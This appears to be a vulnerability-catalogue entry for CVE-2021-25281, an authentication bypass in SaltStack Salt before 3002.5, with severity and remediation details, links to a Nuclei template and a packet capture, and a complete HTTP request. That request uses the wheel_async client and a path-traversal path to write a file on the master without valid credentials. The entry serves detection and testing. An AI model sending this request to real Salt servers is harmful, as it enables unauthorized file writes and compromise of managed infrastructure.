| Title | SaltStack Salt <3002.5 - Auth Bypass |
|---|---|
| Author | madrobot |
| Severity | Critical |
| Impact | Unauthenticated attackers can remotely execute any wheel modules on the Salt master by bypassing eauth credentials, leading to complete infrastructure compromise and control over all managed systems. |
| Remediation | Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93846 |
| CVE ID | CVE-2021-25281 |
| CWE ID | CWE-287 |
| Tags | cve cve2021 saltapi rce saltstack unauth vuln |
SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
POST /run HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/16.0 Safari/537.36
Connection: close
Content-Length: 154
Content-Type: application/json
Accept-Encoding: gzip
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25281.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25281.pcap
N/AN/A